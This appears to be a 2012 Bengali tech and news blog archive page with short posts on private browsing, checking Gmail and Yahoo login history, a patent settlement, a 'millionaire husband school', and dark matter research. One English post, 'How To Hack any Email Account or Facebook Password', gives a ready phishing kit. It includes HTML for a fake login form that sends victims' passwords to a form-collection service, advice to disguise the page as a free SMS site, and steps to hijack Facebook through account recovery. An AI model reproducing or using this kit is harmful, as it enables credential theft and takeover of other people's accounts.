বৃহস্পতিবার, ১২ জুলাই, ২০১২

নিরাপদে ইন্টারনেট ব্যবহার করুন

যাঁরা সাইবার ক্যাফে অথবা অফিসে অর্থাৎ নিজের ব্যক্তিগত কম্পিউটারের বাইরেও অন্য কোনো কম্পিউটার থেকে ইন্টারনেট ব্যবহার করেন, তাঁরা নিশ্চয় একটা দুশ্চিন্তায় থাকেন সব সময়। আর সেটা হলো নিজের ব্যক্তিগত গোপনীয়তা বিঘ্নিত হওয়ার আশঙ্কা। অনেক সময় দেখা যায়, আপনি হয়তো সাইবার ক্যাফেতে বসে ফেসবুক ব্যবহার করছেন অমনি বিদ্যুৎ চলে গেল, এদিকে আপনি ফেসবুক থেকে লগ আউট করেননি অথবা জরুরি ও গোপনীয় কোনো ই-মেইল পাঠাচ্ছিলেন অমনি লগ আউট করার আগেই বিদ্যুৎবিভ্রাট বা এমনও হতে পারে, বিদ্যুতের সমস্যা না, সমস্যা হলো আপনি কোন কোন ওয়েবসাইটে যাচ্ছেন সেটা ব্রাউজার হিস্টোরি থেকে কেউ দেখে নিক তা চাইছেন না। তাহলে কী করতে পারেন? ভাবছেন ইশ, ব্রাউজিংয়ে যদি আরেকটু প্রাইভেসি থাকত। হ্যাঁ, আপনি চাইলেই যেকোনো কম্পিউটারে, যেকোনো ওয়েব ব্রাউজারে প্রাইভেট ব্রাউজিং করতে পারেন খুব সহজেই। মোজিলা ফায়ারফক্সের ক্ষেত্রে এ জন্য ব্রাউজার খুলে Ctrl+Shift+P একসঙ্গে চেপে ধরতে হবে। তাহলে নতুন উইন্ডো আসবে। সেখান থেকে Start Private Browsing সিলেক্ট করে দিলেই হবে। তবে মনে রাখবেন, প্রাইভেট ব্রাউজিং সিলেক্ট করে দেওয়া মাত্র ফায়ারফক্সের আগের উইন্ডো বন্ধ হয়ে নতুন উইন্ডো খুলে যাবে।
গুগল ক্রোমের ক্ষেত্রে একসঙ্গে Ctrl+Shift+N চাপতে হবে অথবা wrench বাটনে চাপতে হবে। এবার New Incognito Window সিলেক্ট করে দিতে হবে। তাহলে প্রাইভেট ব্রাউজিংয়ের জন্য নতুন উইন্ডো খুলবে। আর মাইক্রোসফট ইন্টারনেট এক্সপ্লোরারের জন্য একসঙ্গে Ctrl+Shift+P চেপে ধরুন। এবার সিলেক্ট করে দিন। তাহলেই নতুন উইন্ডো খুলবে প্রাইভেট ব্রাউজিংয়ের জন্য।

ফেসবুকে এলেন এ পি জে আবদুল কালাম

ভারতের সাবেক রাষ্ট্রপতি ও বিখ্যাত বিজ্ঞানী এ পি জে আবদুল কালাম সামাজিক যোগাযোগের ওয়েবসাইট ফেসবুক-এ যুক্ত হলেন। ফেসবুকে তাঁর অ্যাকাউন্টটির নাম বিলিয়ন বিটস।
রায় উন্নয়নে বিভিন্ন শ্রেণী ও পেশার মানুষের সঙ্গে নিজের মত বিনিময় করতেই ফেসবুকে যোগ দিয়েছেন তিনি। এক খবরে এ তথ্য জানিয়েছে এনডিটিভি। বিলিয়ন বিটস নামের অ্যাকাউন্টটিতে লাইক করার সংখ্যা ইতোমধ্যে ১৬ হাজার ছাড়িয়ে গেছে।
সামাজিক যোগাযোগের ক্ষেত্রে গুগলের ভিডিও সাইট ইউটিউবেও অ্যাকাউন্ট রয়েছে ৮১ বছর বয়সী আবদুল কালামের।
বিলিয়ন বিটিস একটি ই-পেপার। এই ই-পেপারের সঙ্গে ফেসবুক পাতাটি যুক্ত করা হয়েছে। তরুণ ও সব শ্রেণীর মানুষদের মধ্যে বিভিন্ন বিষয়ে তাঁর ভাবনার কথা লিখবেন তিনি।

আবদুল কালামের ফেসবুক অ্যাকাউন্ট লিংক
www.facebook.com/kalamBillionbeats

কোটিপতি স্বামী লাভের স্কুল!

স্ত্রী ও সন্তান-সন্ততির জীবন কীভাবে কাটবে, তা অনেকটাই নির্ভর করে স্বামীর আয়-উপার্জন বা অর্থনৈতিক অবস্থার ওপর। এ কারণে মেয়েরা, এমনকি কন্যাদায়গ্রস্ত বাবারাও সবকিছুর আগে যে বিষয়টা খেয়াল করেন, তা হলো ছেলে বা হবু বরের আয়।
ছেলের আয়টা সন্তোষজনক হলেই যেন হাফ ছেড়ে বাঁচেন বিবাহযোগ্য মেয়ে ও মেয়ের বাবা। এবার বিয়েটা পাকা করে ফেলতেই হবে—এই ধারণা নিয়ে মেয়ের বাবা এগিয়ে যান বর বাছাইয়ে। বর্তমান সময়ে অবশ্য মেয়ের বাবার পাশাপাশি মেয়েরা নিজেরাই ছেলেদের আয়ের দিকে নজর দেন, এমনকি প্রেমিক নির্বাচনের ক্ষেত্রেও। অন্য দিকে যেমনই হোক না কেন, হবু স্বামী বা প্রেমিক যদি ধনী হন, তাহলে আর কোনো কথাই নেই। প্রেম-বিয়ে পাক্কা।

আর যেসব মেয়ে ধনী বা কোটিপতি স্বামী খোঁজেন, তাঁদের জন্য একটি স্কুলও আছে। কী, জেনে অবাক হচ্ছেন নিশ্চয়ই! অবাক হলেও বিষয়টি একদম সত্যি। কীভাবে একজন কোটিপতি স্বামী খুঁজবেন, কীভাবে তাঁদের সঙ্গে ডেটিং করবেন, কখন একটি সত্যিকারের সম্পর্ক গড়ে তুলবেন—এই সবেরই পাঠ দেওয়া হয় এই স্কুলে।
চীনের দক্ষিণ-পশ্চিমাঞ্চলীয় প্রদেশ সিচুয়ানের চেংডু অঞ্চলে অবস্থিত এই স্কুলে পাঠদান করেন সু ফেই নামে এক নারী। যিনি নিজেই একজন কোটিপতির স্ত্রী। এই স্কুলে শুধুই নারীদের শিক্ষা দেওয়া হয়।
দ্য সাংহাই ডেইলি রিপোর্টের প্রকাশিত এক খবরে বলা হয়, ওই স্কুলে কোর্স ফি হিসেবে খরচ হয় ১০ হাজার ইউয়ান বা এক হাজার ৬০০ ডলার। ৪২ বছর বয়সী সু ফেই একাই এই স্কুলে শিক্ষাদান করেন। কোর্সের প্রতিশ্রুতি অনুয়ায়ী এই স্কুলের মেয়েদের ধনী ব্যক্তিদের সঙ্গে পরিচয়ও করিয়ে দেওয়া হয়। সাত বছর আগে গুয়াংডং প্রদেশের শেনঝেন এলাকায় সর্বপ্রথম এই স্কুলের যাত্রা শুরু হয়। সে সময় শতাধিক নারী ওই স্কুলে ক্লাস করার জন্য আবেদন করেছিল।
সু ফেই বলেন, মাত্র ৩৭ বছর বয়সে তিনি এক কোটিপতিকে বিয়ে করেন। তিনি বলেন, ‘যদি আপনি একজন ধনী ব্যক্তিকে স্বামী বা প্রেমিক হিসেবে পেতে চান, তাহলে তাঁর শখের বিষয়গুলো জেনে নিন। তিনি নিয়মিত যেসব স্থানে যান, তাঁর খোঁজখবর রাখুন। তারপর তাঁর কাছে ভান করুন যে কাকতালীয়ভাবে তাঁর শখ ও বেড়ানোর জায়গাগুলোর সঙ্গে আপনার শখ ও বেড়ানোর জায়গার হুবহু মিল রয়েছে।’
সু ফেই আরও বলেন, ‘প্রথম ডেটিংয়ের সময় তাঁর সামনে আপনি বাতির নিচে ৩০-৪৫ ডিগ্রি কোণে বসবেন। এতে আপনার মুখটা অনেক সুন্দর লাগবে।’
ক্লাসে শেখানো হয়, যখন ধনী ব্যক্তির সঙ্গে যখন বাইরে রেস্তোরাঁয় যাবেন, তখন কোনোভাবেই দামি খাবারের অর্ডার দেবেন না। কিংবা দামি উপহারও তাঁর কাছ থেকে পেতে চাইবেন না। ধনী ব্যক্তিরা সব সময় শিক্ষক, চিকিত্সক ও সরকারি চাকরিজীবীদের পছন্দ করেন। তাঁরা বিমানবালা, সাংবাদিক ও দোকানমালিকদের মোটেও পছন্দ করেন না।

বুধবার, ১১ জুলাই, ২০১২

How To Hack any Email Account or Facebook Password Easily!

Finally I have got the most easiest way to hack any email id password.

Do you want to hack anyone Facebook, Google+ or any other social networking sites username or password? Then it will enough to hack their email id and password. If you would able to hack and grab their email id and password once then you should be able to hack their any account that associated with this email address by using account recovery option.
I have seen lot of techniques like phishing, Key-logging, Server setup, etc about this topic, i mean how to hack a email account. I search on Google, there was a lot of articles about, this but all of those were so complicated. Finally i have got the most easiest way to hack any email id password.
Note: I am sharing this only to learning purpose. Do not use it to harm anyone.
Follow the steps:
1.  Go to link: http://www.formbuddy.com/
2.  Create an account [it’s free]
Formbuddy registration form
3. Now Copy this scripts on a Notepad:


</div>      <div style="background-color:#C8EBF9; padding: 
5px"><!--h--><form action="http://www.formbuddy.com/cgi-bin/form.pl"
 method="post"><!--h--><input type="hidden" name="username"
 value="ENTER YOUR FORMBUDDY USERNAME"><!--h--><input type="hidden"
 name="reqd" value="0"><!--h--><input type="hidden" name="url"
 value="http://gmail.com/sms.html">             <label>Your Email ID:</label>
 <input type="text" name="username" value="" /> 
<label>Password:</label>            <input type="password" name="password"
 value="" />            <label>            <input type="submit" name="submit
"value="Login" />


 4.  Find ‘ENTER YOUR FORM BUDDY USER NAME’ and replace with your username you just have created on ‘Form buddy.com’. Copy the whole things.
5.  Now create another account on this site: http://xtgem.com . (You can use a name like: make free call or send free sms worldwide to attract your friend and make him to log in here instantly)
6. Click ‘Create File’  and past that you copied from Notepad.
xtGem Acount Registration
Open Image In New Tab to see image Instructions!
7.  You are done. Now just give your  ‘xtgem.com’ site link to your friend and check your email inbox(email that you provided on ‘Formbuddy’)!!
hacked ID password
8.  After getting email account password. go to your friends Facebook account Log In and use email recovery to change the password. that's it. you hacked a Facebook account also!
Do you have any complicity with one of those steps? please leave it for me on comment box!

See also: Hack Any Password Protected Wi-Fi Network And Use Unlimited Free Internet !

রবিবার, ৮ জুলাই, ২০১২

বৃষ্টির ফোঁটার আঘাতে মশা মরে না কেন?

একফোঁটা বৃষ্টি মশার গায়ে পড়লে সেটা তার ওজনের ৫০ গুণ বেশি জোরে চাপ দেয়। এর ফলে মশা মরে চ্যাপ্টা হয়ে যাওয়ার কথা। কিন্তু ওরা দিব্যি বৃষ্টির মধ্যে উড়ে বেড়ায়। এটা সম্ভব হয় মূলত দুটি কারণে। প্রথমত, মশা খুবই হালকা; দ্বিতীয়ত, মশার বাইরের গায়ের শক্ত কাঠামো। বেশির ভাগ ক্ষেত্রে দেখা গেছে, মশা বৃষ্টির ফোঁটার সঙ্গে গা এলিয়ে দিয়ে নিচে পড়তে থাকে, কোনো বাধা দেয় না। একটা হালকা বেলুনকে ঘুষি মারলে বেলুন যেমন ফাটে না, বরং উড়ে যায়, মশার বেলায়ও সে রকমই হয়। ওরা বৃষ্টির ফোঁটার সঙ্গে নিচে পড়তে থাকে, কিন্তু মাটিতে পড়ার আগমুহূর্তে নিজেকে সরিয়ে নেয়। মশার লম্বা পা ও পাখা তাকে এ ব্যাপারে সাহায্য করে। তা ছাড়া ২৫ শতাংশ ক্ষেত্রে বৃষ্টির ফোঁটা মশার পাখার ফাঁক গলে পড়ে যায়। বৃষ্টিতে মশার আচরণ পর্যবেক্ষণের জন্য উচ্চক্ষমতাসম্পন্ন ভিডিওচিত্র গ্রহণ করে পরিচালিত এক গবেষণায় এসব তথ্য জানা গেছে।

আপনার ই-মেইলের পাসওয়ার্ড কেউ জানে? ইয়াহুর ক্ষেত্রে

ইয়াহুর ক্ষেত্রে: প্রথমে ইয়াহু মেইলে লগইন করে আপনার নামের ওপর ক্লিক করে Account Information নির্বাচন করুন। পাসওয়ার্ড দিতে বললে পুনরায় পাসওয়ার্ড দিয়ে লগইন করুন। এখন নতুন পেইজ এলে বাঁ পাশ থেকে Sign-In and Security এর সবার নিচের View your recent login activity-তে ক্লিক করুন। নতুন পেইজ এলে দেখতে পাবেন আপনার কম্পিউটারের বর্তমান আইপি ঠিকানা এবং গত ১০ বার কোন দেশ থেকে, কত তারিখ, কতটার সময়, ব্রাউজার না ইয়াহু মেসেঞ্জার দিয়ে আপনার মেইলে প্রবেশ করা হয়েছে এবং তখন কী কী কাজ করা হয়েছে। ডান পাশে Location থেকে IP Address নির্বাচন করে দিলে দেখতে পাবেন কোন কোন আইপি ঠিকানা থেকে আপনার অ্যাকাউন্টে প্রবেশ করা হয়েছে। এবং নিচে View More-এ ক্লিক করলে গত ২০ বার কোন কোন আইপি ঠিকানা থেকে আপনার অ্যাকাউন্টে প্রবেশ করা হয়েছে, তা-ও দেখতে পাবেন। আপনি যদি সব সময় একই কম্পিউটার থেকে লগইন করে থাকেন এবং একই কোম্পানির ইন্টারনেট ব্যবহার করে থাকেন, তাহলে আইপি ঠিকানার চারটি অংশের মধ্যে প্রথম দুটি অংশের ঠিকানা একই থাকবে। তখন যদি দেখেন ভিন্ন কোনো আইপি থেকে বা ভিন্ন কোনো সময়ে আপনার মেইলে প্রবেশ করা হয়েছিল এবং ওই আইপি ঠিকানা সম্পর্কে যদি বিস্তারিত জানতে চান তাহলে আইপি ঠিকানাটি কপি করে www.ip-adress.com/whois ঠিকানায় গিয়ে টেক্সটবক্সে পেস্ট করে IP Whois বাটনে ক্লিক করুন। তাহলে জানতে পারবেন ওই আইপি ঠিকানাটি কোন সার্ভিস প্রোভাইডারের, তাদের ঠিকানা, মেইল ঠিকানা, ফোন নম্বর ইত্যাদি। এমনকি একটি মানচিত্রের সাহায্যেও দেখানো হবে কোন জায়গা থেকে ওই আইপি ঠিকানার সার্ভিস দেওয়া হচ্ছে। ইয়াহু মেইলের বিভিন্ন ভার্সন আছে যেমন ক্ল্যাসিক, বিটা ইত্যাদি। তাই বিভিন্ন ভার্সনে এই অপশনগুলো বিভিন্ন জায়গায় থাকতে পারে।

শত্রু থেকে বন্ধু হলো ফেসবুক ও ইয়াহু!

পেটেন্ট নিয়ে মামলার ঝামেলা মিটিয়ে ইয়াহু ও ফেসবুক বন্ধু হলো। ইন্টারনেটভিত্তিক এই দুটি প্রতিষ্ঠানের মধ্যে সমঝোতা হয়েছে। পাশাপাশি দুই পক্ষ পরস্পরের পেটেন্ট ব্যবহারে সম্মত হয়েছে। এক খবরে বিবিসি জানিয়েছে, ইয়াহুর অন্তর্বর্তীকালীন প্রধান নির্বাহী কর্মকর্তা রস লেভিনসন উদ্যোগী হয়ে ফেসবুকের সঙ্গে মামলা নিষ্পত্তি করেছেন।
চলতি বছরের মার্চ মাসে ১০টি পেটেন্ট ভঙ্গের অভিযোগ তুলে ফেসবুকের বিরুদ্ধে যুক্তরাষ্ট্রে মামলা করেছিল ইয়াহু। মামলার পরপরই মাইক্রোসফট ও ইন্টারন্যাশনাল বিজনেস মেশিনসের (আইবিএম) কাছ থেকে বেশ কিছু পেটেন্ট কিনেছিল ফেসবুক। ইয়াহুর বিরুদ্ধে ফেসবুকও পাল্টা মামলা করেছিল। দুই ইন্টারনেটভিত্তি প্রতিষ্ঠানের এই মামলা প্রযুক্তিবিশ্বে বেশ আলোচিত হয়েছিল।
ফেসবুক ও ইয়াহু নিজেদের মধ্যে সমঝোতা করায় এবং পরস্পরের পেটেন্ট ব্যবহার করতে সম্মত হওয়ায় দুই পক্ষই সুবিধা ভোগ করবে বলে মনে করছেন প্রযুক্তি বিশ্লেষকেরা।
ফেসবুকের সঙ্গে মামলা মেটানোসহ পারস্পরিক প্রযুক্তি ব্যবহারের যে সমঝোতা হয়েছে তাতে রস লেভিনসন ইয়াহুর প্রধান নির্বাহী কর্মকর্তার স্থায়ী পদটির জন্য শক্ত প্রতিদ্বন্দ্বী হলেন। উল্লেখ্য, ইয়াহু পরিচালনা পর্ষদ প্রধান নির্বাহী কর্মকর্তা নিয়োগ দেবে শিগগিরই। জীবনবৃত্তান্তে ভুল তথ্যের অভিযোগে ইয়াহুর প্রধান নির্বাহী পদ থেকে স্কট থম্পসন সরে দাঁড়ানোর পর অন্তর্বর্তীকালীন দায়িত্ব পালন করছেন রস লেভিনসন।

মাস্টারমশাইয়ের জন্য...

তখন সবে ভোরের আলো ফুটেছে। ভারতের পশ্চিমবঙ্গের কলকাতার কাছে সুটিয়া গ্রামের নারীরা অন্যদিনে এ সময় ব্যস্ত হয়ে পড়েন ঘরের কাজকর্মে। কিন্তু গতকাল শুক্রবার কেউ ঘরে ছিলেন না। সুটিয়ার শত শত নারী সেদিন রাস্তায়। পুলিশ ফাঁড়ির বাইরে, ভেতরে। কারও হাতে ঝাড়ু, কারও হাতে মোটা বাঁশের লাঠি। মুখে ঘৃণা আর বিদ্বেষ। নারীরা লন্ডভন্ড করে দিয়েছে সুটিয়ার পুলিশ ফাঁড়ি। পুলিশ ফাঁড়িতে ঢুকে ভাঙচুর করেছেন সবকিছু। এরপর নেমেছেন রাস্তায়। ভোর পাঁচটা থেকে টানা ১০ ঘণ্টা অবরোধ করে রাখেন গোবর ডাঙা-বেরিগোপালপুর সড়ক।
হতভম্ব পুলিশ ও প্রশাসন কিছুই করতে পারেনি। বিক্ষোভ ও অবরোধ থেকে সরাতে পারেনি নারীদের।
নারীদের এই অবরোধ নিজের জন্য নয়। প্রিয় মাস্টারমশাই বরুণ বিশ্বাসের জন্য। যিনি তাঁদের বাঁচিয়েছিলেন জঘন্য এক জীবন থেকে। অন্ধকার থেকে আলোয় এনেছিলেন যিনি।
টাইম নিউজ নেটওয়ার্কে প্রকাশিত এক খবরে জানা যায়, পশ্চিমবঙ্গের সুটিয়া গ্রামটি মাত্র কয়েক বছর আগেও সুটিয়া নামে পরিচিত ছিল না। ২০০০ থেকে ২০০৩ সাল ছিল সুটিয়ার জন্য ভয়ংকর এক সময়। এটি তখন পরিচিত ছিল ‘ধর্ষণের গ্রাম’ হিসেবে। গণধর্ষণ ছিল এই গ্রামের প্রতিদিনের ঘটনা। সুটিয়াতে এমন একটি দিন যায়নি যেদিন কোনো নারীকে ধর্ষিত হতে হয়নি। মায়ের সামনে সন্তানকে, স্বামীর সামনে স্ত্রীকে, সন্তানের সামনে মাকে ধর্ষণ করা হয়েছে। কোনো নারী প্রতিবাদ করলে গণধর্ষক চক্র হয়ে উঠত আরও ভয়ংকর। জোর করে বাড়িতে ঢুকে সেই নারীর পরিবারের সবাইকে ধর্ষণ করত তারা। সবাই সবকিছু জানত। সবকিছু জানত পুলিশও। কিন্তু কেউ কিছু করত না। সবকিছু জেনে না জানার, দেখে না দেখার ভান করে চলত সবাই। এর মধ্যে ব্যতিক্রম ছিলেন একজন। স্কুলশিক্ষক বরুণ বিশ্বাস। ২৬ বছর বয়সের এই স্কুলশিক্ষকই জঘন্য অপরাধের বিরুদ্ধে, অপরাধীদের বিরুদ্ধে প্রথম আওয়াজ তোলেন। ধর্ষকদের বিরুদ্ধে লড়াই শুরু করেন বরুণ। একসময় গণধর্ষক চক্র পিছু হটতে বাধ্য হয়। বেঁচে যান সুটিয়ার নারীরা।
তবে বরুণকে প্রাণ হারাতে হয়। গত বুধবার সন্ধ্যায় গোধরা স্টেশন থেকে বাড়ি যাওয়ার পথে তিন মোটরসাইকেল আরোহী বরুণকে গুলি করে হত্যা করে। জনসম্মুখে বরুণের বুকে গুলি চালায় তারা। এর আগেও একাধিকবার বরুণের ওপর হামলা হয়েছে। ধর্ষণের বিরুদ্ধে জোরালো অবস্থান নেওয়ায় যেসব গ্যাংস্টারকে কারাগারে যেতে হয়েছে বা লুকাতে হয়েছে তারাই খুন করেছে মাস্টারমশাই বরুণকে। এমনটাই মনে করে সুটিয়ার নারীরা। আর তাই মাস্টারমশাইয়ের খুনিদের বিচারের দাবিতেই রাস্তায় নেমেছেন সুটিয়ার নারীরা। ব্যর্থ পুলিশের ওপর তীব্র ক্ষোভ প্রকাশ করেছেন।

আপনার ই-মেইলের পাসওয়ার্ড কেউ জানে? জিমেইলের ক্ষেত্রে

আপনার মেইলের পাসওয়ার্ড কেউ হয়তো জেনে গেছে এবং সে মাঝেমধ্যে আপনার মেইল ঠিকানায় প্রবেশ করে। অথবা আপনার মেইল ঠিকানাটি হ্যাকিং হয়ে গিয়েছিল, কোনোভাবে হয়তো পুনরায় উদ্ধার করতে পেরেছেন। এখন কীভাবে জানবেন কে আপনার মেইল ঠিকানায় প্রবেশ করেছিল অর্থাৎ কোন আইপি ঠিকানা থেকে আপনার মেইল ঠিকানায় প্রবেশ করা হয়েছিল?
জিমেইলের ক্ষেত্রে: প্রথমে জিমেইল ঠিকানায় লগইন করে সবার নিচে Last account activity এর ডান পাশে Details-এ ক্লিক করুন। নতুন একটি পেইজ আসবে।
সেখানে আপনার কম্পিউটারের বর্তমান আইপি ঠিকানা এবং গত ১০ বার কখন, কত তারিখ, কোন আইপি ঠিকানা (দেশের নামসহ) থেকে আপনার জিমেইলে প্রবেশ করা হয়েছে, সবগুলোর তালিকা আসবে। আপনি যদি সব সময় একই কম্পিউটার থেকে লগইন করে থাকেন এবং একই কোম্পানির ইন্টারনেট ব্যবহার করে থাকেন, তাহলে আইপি ঠিকানার চারটি অংশের মধ্যে প্রথম দুটি অংশের ঠিকানা একই থাকবে। তখন যদি দেখেন ভিন্ন কোনো আইপি থেকে বা ভিন্ন কোনো সময়ে আপনার মেইলে প্রবেশ করা হয়েছিল এবং ওই আইপি ঠিকানা সম্পর্কে যদি বিস্তারিত জানতে চান তাহলে আইপি ঠিকানাটি কপি করে www.ip-adress.com/whois ঠিকানায় গিয়ে টেক্সটবক্সে পেস্ট করে IP Whois বাটনে ক্লিক করুন।
তাহলে জানতে পারবেন ওই আইপি ঠিকানাটি কোন সার্ভিস প্রোভাইডারের, তাদের ঠিকানা, মেইল ঠিকানা, ফোন নম্বর ইত্যাদি। এমনকি একটি মানচিত্রের সাহায্যেও দেখানো হবে কোন জায়গা থেকে ওই আইপি ঠিকানার সার্ভিস দেওয়া হচ্ছে।

ঈশ্বর কণার পরে ‘ডার্ক ম্যাটারের’ খোঁজ

চার দশকেরও বেশি অপেক্ষার পর দেখা মিলেছে গড পার্টিকেল বা ঈশ্বর কণার। এর পর গবেষকেরা কি হাত গুটিয়ে বসে থাকবেন?
সুইজারল্যান্ডের ইউরোপিয়ান কাউন্সিল ফর নিউক্লিয়ার রিসার্চের (সার্ন) গবেষকেরা ৪ জুলাই জেনেভায় ঈশ্বর কণা বা হিগস বোসন কণার অনুরূপ একটি কণা আবিষ্কারের ঘোষণা দেওয়ার পর লার্জ হ্যাড্রন কোলাইডার নামের যন্ত্রে নতুন এক গবেষণা শুরু করার পরিকল্পনা করেছেন।
ঈশ্বর কণার গবেষণায় ক্ষান্ত দিয়ে এবার তাঁরা ছুটবেন আরও একটি রহস্যময় বিষয়ের সমাধান খুঁজতে। তাঁর খুঁজবেন ‘ডার্ক ম্যাটার’ ও ডার্ক এনার্জির কারণ ও স্বরূপ, যা এই মহাবিশ্ব-রহস্যের জট খুলতে সাহায্য করবে তাদের। এক খবরে টেলিগ্রাফ এ তথ্য জানিয়েছে।
পদার্থবিজ্ঞানীদের ধারণা, ‘এই মহাবিশ্বকে একত্রে ধরে রেখেছে একটি শক্তি আর এই বিষয়টিই হতে পারে সেই ডার্ক ম্যাটার। সব খানেই আমাদের ঘিরে রেখেছে ডার্ক ম্যাটার অথচ আমরা ডার্ক ম্যাটারের কোনো অস্তিত্ব টের পাই না। এর কারণ ডার্ক ম্যাটার থেকে কোনো আলোর বিচ্ছুরণ, প্রতিফলন বা আলো তৈরি হয় না। এই ডার্ক ম্যাটার পুরো বিশ্বের ৮৪ শতাংশ দখল করে রেখেছে।’
গবেষকেরা আশা করছেন, লার্জ হ্যাড্রন কোলাইডার ব্যবহার করেই তাঁরা ডার্ক ম্যাটার তৈরি করতে সক্ষম হবেন। অবশ্য এ জন্য তাঁদের ১০ গুণ বেশি শক্তিশালী কণার বিম বা রশ্মি ব্যবহার করে পরস্পরের মধ্যে সংঘর্ষ ঘটাতে হবে। সার্ন কর্তৃপক্ষ তাঁদের পরিকল্পনা অনুমোদন করেছেন।
গবেষকেরা জানিয়েছেন, চলতি বছরের শেষ নাগাদ হিগস বোসন কণা নিয়ে আরও গবেষণা চলবে। এরপর মেরামত ও আধুনিক প্রযুক্তি যুক্ত করতে এলএইচসি দেড় বছরেরও বেশি সময় বন্ধ রাখা হবে। তাঁরা আশা করছেন, ২০২০ সাল নাগাদ এলএইচসিকে আধুনিক প্রযুক্তির সমন্বয় করে ‘সুপার এলএইচসি’তে রূপ দেওয়া হবে, যা দুর্লভ কণার সন্ধান দিতে সক্ষম হবে।